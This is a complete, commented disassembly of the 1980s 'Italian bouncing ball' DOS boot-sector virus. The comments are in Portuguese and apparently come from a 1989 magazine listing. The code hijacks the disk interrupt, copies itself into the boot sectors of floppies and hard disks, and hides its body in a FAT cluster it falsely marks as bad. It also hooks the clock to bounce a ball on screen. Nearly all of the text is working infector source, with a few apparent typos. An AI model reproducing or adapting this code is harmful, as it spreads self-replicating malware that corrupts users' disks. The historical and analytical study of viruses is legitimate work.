; ************************************************** ; *** VIRUS ITALIANO SALTITANTE - A LISTAGEM *** ; *** Desassemblagem obtida por Miguel Vitorino *** ; *** Para : S P O O L E R - Junho de 1989 *** ; ************************************************** .RADIX 16 jmpf macro x db 0eah dd x endm Virus SEGMENT assume cs:virus;ds:virus jmpf MACRO x db 0eah dd x ENDM org 0100h begin: jmp short entry db 1eh-2 dup (?) ; Informacao relativa a' disquete entry: xor ax,ax mov ss,ax mov sp,7c00 ; Colocar o Stack antes do inicio do mov ds,ax ; virus mov ax,ds:[0413] ; Retirar 2 K como se nao existissem sub ax,2 ; para que o DOS nao la' chegue ! mov ds:[0413],ax mov cl,06 ; Converter o tamanho da RAM num shl ax,cl ; numero de segmento que se situa nos sub ax,07c0 ; 2 ultimos K mov es,ax ; De seguida passar este programa mov si,7c00 ; para esse sitio de memoria mov di,si ; ( i.e. o programa transfere-se a si mov cx,0100 ; proprio ) repz movsw mov cs,ax ; Transferencia de controlo para ai! push cs ; Agora sim , ja' estamos nos tais 2K pop ds call reset ; fazer duas vezes um "reset" ao reset: xor ah,ah ; controlador de disco int 13 and byte ptr ds:drive,80 mov bx,ds:sector ; Sector onde esta' o resto do virus push cs pop ax sub ax,0020 mov es,ax call ler_sector ; Ler o resto do virus da drive mov bx,ds:sector inc bx mov ax,0ffc0 ; Carregar o sector de boot original mov es,ax call ler_sector xor ax,ax mov ds:estado,al mov ds,ax mov ax,ds:[004c] ; "Confiscar" o interrupt 13 mov bx,ds:[004e] ; ( operacoes sobre disquetes/discos ) mov word ptr ds:[004c],offset int_13 mov ds:[004e],cs push cs pop ds mov word ptr ds:velho_13,ax ; Guardar a velha rotina do int. 13 mov word ptr ds:velho_13+2,bx mov dl,ds:drive jmpf 0:7c00 ; Efectuar o arranque do sistema Esc_Sector proc near mov ax,0301 ; Escrever um sector da drive jmp short cs:transferir Esc_Sector endp Ler_Sector proc near mov ax,0201 ; Ler um sector da drive Ler_Sector endp Transferir proc near ; Efectuar uma transferencia de dados xchg ax,bx ; de ou para a drive add ax,ds:[7c1c] ; Este procedimento tem como entrada xor dx,dx ; o numero do sector pretendido ( BX ) div ds:[7c18] ; e de seguida sao feitas as contas inc dl ; para saber qual a pista e o lado mov ch,dl ; onde esse sector fica xor dx,dx div ds:[7c1a] mov cl,06 shl ah,cl or ah,ch mov cx,ax xchg ch,cl mov dh,dl mov ax,bx ; Depois de todas as contas feitas transf: mov dl,ds:drive ; pode-se chamar o interrupt 13H mov bx,8000 ; es:bx = end. de transferencia int 13 jnb trans_exit pop ax trans_exit: ret Transferir endp Int_13 proc near ; Rotina de atendimento ao int. 13H push ds ; (operacoes sobre discos e disquetes) push es push ax push bx push cx push dx push cs pop ds push cs pop es test byte ptr ds:estado,1 ; Testar se se esta' a ver se o virus jnz call_BIOS ; esta' no disco cmp ah,2 jnz call_BIOS cmp ds:drive,dl ; Ver se a ultima drive que foi mov ds:drive,dl ; mexida e' igual a' drive onde jnz outra_drv ; se vai mexer xor ah,ah ; Neste momento vai-se tirar a' sorte int 1a ; para ver se o virus fica activo test dh,7f ; Isto e' feito a partir da leitura jnz nao_desp ; da hora e se for igual a um dado test dl,0f0 ; numero , o virus e' despoletado jnz nao_desp push dx ; Instalar o movimento da bola call despoletar pop dx nao_desp: mov cx,dx sub dx,ds:semente mov ds:semente,cx sub dx,24 jb call_BIOS outra_drv: or byte ptr ds:estado,1 ; Indicar que se esta' a testar a push si ; presenca ou nao do virus na drive push di call contaminar pop di pop si and byte ptr ds:estado,0fe ; Indicar fim de teste de virus call_BIOS: pop dx pop cx pop bx pop ax pop es pop ds Velho_13 equ $+1 jmpf 0:0 Int_13 endp Contaminar proc near mov ax,0201 mov dh,0 mov cx,1 call transf test byte ptr ds:drive,80 ; Pediu-se um reset a' drive ? jz testar_drv ; Sim , passar a' contaminacao directa mov si,81be mov cx,4 proximo: cmp byte ptr [si+4],1 jz ler_sect cmp byte ptr [si+4],4 jz ler_sect add si,10 loop proximo ret ler_sect: mov dx,[si] ; Cabeca+drive mov cx,[si+2] ; Pista+sector inicial mov ax,0201 ; Ler esse sector call transf testar_drv: mov si,8002 ; Comparar os 28 primeiros bytes para mov di,7c02 ; ver se o sector de boot e' o mesmo mov cx,1c ; i.e. ver se a drive ja' foi virada ! repz movsb cmp word ptr ds:[offset flag+0400],1357 jnz esta_limpa cmp byte ptr ds:flag_2,0 jnb tudo_bom mov ax,word ptr ds:[offset prim_dados+0400] mov ds:prim_dados,ax ; Se chegar aqui entao a disquete ja' mov si,ds:[offset sector+0400] ; esta' contaminada ! jmp infectar tudo_bom: ret ; Neste momento descobriu-se uma disquete nao contaminada ! Vai-se agora ; proceder a' respectiva contaminacao ! esta_limpa: cmp word ptr ds:[800bh],0200; Bytes por sector jnz tudo_bom cmp byte ptr ds:[800dh],2 ; Sectores por cluster jb tudo_bom mov cx,ds:[800e] ; Sectores reservados mov al,byte ptr ds:[8010] ; Numero de FAT's cbw mul word ptr ds:[8016] ; Numero de sectores de FAT add cx,ax mov ax,' ' mul word ptr ds:[8011] ; Numero de entradas na root add ax,01ff mov bx,0200 div bx add cx,ax mov ds:prim_dados,cx mov ax,ds:[7c13] ; Numero de sectores da drive sub ax,ds:prim_dados mov bl,byte ptr ds:[7c0dh] ; Numero de sectores por cluster xor dx,dx xor bh,bh div bx inc ax mov di,ax and byte ptr ds:estado,0fbh ; Se o numero de clusters dor superior cmp ax,0ff0 ; a 0FF0 entao cada entrada na FAT sao jbe sao_3 ; 4 nibbles senao sao 3 or byte ptr ds:estado,4 ; 4 = disco duro ? sao_3: mov si,1 ; Escolher sector a infectar mov bx,ds:[7c0e] ; Numero de sectores reservados dec bx mov ds:inf_sector,bx ; Sector a infectar mov byte ptr ds:FAT_sector,0fe jmp short continua Inf_Sector dw 1 ; Sector a infectar Prim_Dados dw 0c ; Numero do primeiro sector de dados Estado db 0 ; Estado actual do virus (instalado/nao instalado,etc) Drive db 1 ; Drive onde se pediu uma accao Sector dw 0ec ; Sector auxiliar para procura do virus Flag_2 db 0 ; Estes proximos valores servem para ver se o virus Flag dw 1357 ; ja' esta' ou nao presente numa drive , bastando dw 0aa55 ; comparar se estes valores batem certos para o saber continua: inc word ptr ds:inf_sector mov bx,ds:inf_sector add byte ptr ds:[FAT_sector],2 call ler_sector jmp short l7e4b ; Este pequeno pedaco de programa o que faz e' percorrer a FAT que ja' esta' na ; memo'ria e procurar ai um cluster livre para colocar nesse sitio o resto do ; virus verificar: mov ax,3 ; Media descriptor + ff,ff test byte ptr ds:estado,4 ; disco duro ? jz l7e1d inc ax ; Sim , FAT comeca 1 byte mais adiante l7e1d: mul si ; Multiplicar pelo numero do cluster shr ax,1 sub ah,ds:FAT_sector mov bx,ax cmp bx,01ff jnb continua mov dx,[bx+8000] ; Ler a entrada na FAT test byte ptr ds:estado,4 jnz l7e45 mov cl,4 test si,1 jz l7e42 shr dx,cl l7e42: and dh,0f l7e45: test dx,0ffff ; Se a entrada na FAT for zero,entao jz l7e51 ; descobriu-se um cluster para por o l7e4b: inc si ; virus , senao passa-se ao proximo cmp si,di ; cluster ate' achar um bom jbe verificar ret ; Ja' foi descoberto qual o cluster a infectar ( registo BX ) , agora vai-se ; proceder a' infeccao da disquete ou disco e tambem a' marcacao desse cluster ; como um "bad cluster" para o DOS nao aceder a ele l7e51: mov dx,0fff7 ; Marcar um "bad cluster" (ff7) test byte ptr ds:estado,4 ; Ver qual o tamanho das ents. na FAT jnz l7e68 ; ( 3 ou 4 nibbles ) and dh,0f mov cl,4 test si,1 jz l7e68 shl dx,cl l7e68: or [bx+8000],dx mov bx,word ptr ds:inf_sector ; Infectar sector !!! call esc_sector mov ax,si sub ax,2 mov bl,ds:7c0dh ; Numero de sectores por cluster xor bh,bh mul bx add ax,ds:prim_dados mov si,ax ; SI = sector a infectar mov bx,0 ; Ler o sector de boot original call ler_sector mov bx,si inc bx call esc_sector ; ... e guarda'-lo depois do virus infectar: mov bx,si mov word ptr ds:sector,si push cs pop ax sub ax,20 ; Escrever o resto do virus mov es,ax call esc_sector push cs pop ax sub ax,40 mov es,ax mov bx,0 ; Escrever no sector de boot o virus call esc_sector ret Contaminar endp Semente dw ? ; Esta word serve para fins de ; temporizacao da bola a saltar FAT_sector db 0 ; Diz qual e' o numero do sector que ; se esta' a percorrer quando se ; vasculha a FAT Despoletar proc near ; Comecar a mostrar a bola no ecran test byte ptr ds:estado,2 ; Virus ja' esta' activo ? jnz desp_exit ; Sim ,sair or byte ptr ds:estado,2 ; Nao , marcar activacao mov ax,0 mov ds,ax mov ax,ds:20 ; Posicionar interrupt 8 (relogio) mov bx,ds:22 mov word ptr ds:20,offset int_8 mov ds:22,cs push cs pop ds ; E guardar a rotina anterior mov word ptr ds:velho_8+8,ax mov word ptr ds:velho_8+2,bx desp_exit: ret Despoletar endp Int_8 proc near ; Rotina de atendimento ao interrupt push ds ; provocado pelo relogio 18.2 vezes push ax ; por segundo . Neste procedimento push bx ; e' que se faz o movimento da bola push cx ; pelo ecran push dx push cs pop ds mov ah,0f ; Ver qual o tipo de modo de video int 10 mov bl,al cmp bx,ds:modo_pag ; Comparar modo e pagina de video com jz ler_cur ; os anteriores mov ds:modo_pag,bx ; Quando aqui chega mudou-se o modo dec ah ; de video mov ds:colunas,ah ; Guardar o numero de colunas mov ah,1 cmp bl,7 ; Comparar modo com 7 (80x25 Mono) jnz e_CGA dec ah e_CGA: cmp bl,4 ; Ve se e' modo grafico jnb e_grafico dec ah e_grafico: mov ds:muda_attr,ah mov word ptr ds:coordenadas,0101 mov word ptr ds:direccao,0101 mov ah,3 ; Ler a posicao do cursor int 10 push dx ; ... e guarda-la mov dx,ds:coordenadas jmp short limites ler_cur: mov ah,3 ; Ler a posicao do cursor ... int 10 push dx ; ... e guarda-la mov ah,2 ; Posicionar o cursor no sitio da bola mov dx,ds:coordenadas int 10 mov ax,ds:carat_attr cmp byte ptr ds:muda_attr,1 jnz mudar_atr mov ax,8307 ; Atributos e carater 7 mudar_atr: mov bl,ah ; Carregar carater 7 (bola) mov cx,1 mov ah,9 ; Escrever a bola no ecran int 10 limites: mov cx,ds:direccao ; Agora vai-se ver se a bola esta' no cmp dh,0 ; ecran . Linha = 0 ? jnz linha_1 xor ch,0ff ; Mudar direccao inc ch linha_1: cmp dh,18 ; Linha = 24 ? jnz coluna_1 xor ch,0ff ; Mudar direccao inc ch coluna_1: cmp dl,0 ; Coluna = 0 ? jnz coluna_2 xor cl,0ff ; Mudar direccao inc cl coluna_2: cmp dl,ds:colunas ; Colunas = numero de colunas ? jnz esta_fixe xor cl,0ff ; Mudar direccao inc cl esta_fixe: cmp cx,ds:direccao ; Mesma direccao ? jnz act_bola mov ax,ds:carat_attr and al,7 cmp al,3 jnz nao_e xor ch,0ff inc ch nao_e: cmp al,5 jnz act_bola xor cl,0ff inc cl act_bola: add dl,cl ; Actualizar as coordenadas da bola add dh,ch mov ds:direccao,cx mov ds:coordenadas,dx mov ah,2 int 10 mov ah,8 ; Ler carater para onde vai a bola int 10 mov ds:carat_attr,ax mov bl,ah cmp byte ptr ds:muda_attr,1 jnz nao_muda mov bl,83 ; Novo atributo nao_muda: mov cx,1 mov ax,0907 ; Escrever a bola no ecran int 10 pop dx mov ah,2 ; Recolocar o cursor no posicao onde int 10 ; estava antes de escrever a bola pop dx pop cx pop bx pop ax pop ds velho_8 equ $+1 jmpf 0:0 Int_8 endp Carat_attr dw ? ; 7fcd Coordenadas dw 0101 ; 7fcf Direccao dw 0101 ; 7fd1 Muda_attr db 1 ; 7fd3 Modo_pag dw ? ; 7fd4 Colunas db ? ; 7fd6 ; Os bytes que se seguem destinam-se a reservar espaco para o stack Virus ENDS END begin